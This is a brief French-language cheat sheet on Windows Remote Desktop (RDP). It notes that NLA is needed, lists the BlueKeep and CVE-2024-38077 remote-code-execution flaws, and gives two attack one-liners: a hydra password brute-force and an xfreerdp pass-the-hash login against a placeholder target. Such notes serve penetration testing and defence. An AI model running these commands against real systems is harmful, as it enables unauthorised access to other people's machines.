RDP — Bureau à distance Windows

Qu'est-ce que RDP ?

RDP (Remote Desktop Protocol) permet d'accéder graphiquement à un bureau Windows. Très ciblé par les attaquants. NLA (Network Level Authentication) doit être activé obligatoirement.

Attaques et CVE

BlueKeep CVE-2019-0708 RCE sans auth (CVSS 9.8)
CVE-2024-38077 RCE service licences RDP (CVSS 9.8)

# Brute force
hydra -l administrator -P rockyou.txt rdp://target

# Pass-the-Hash
xfreerdp /u:admin /pth:NTLM_HASH /v:target /cert:ignore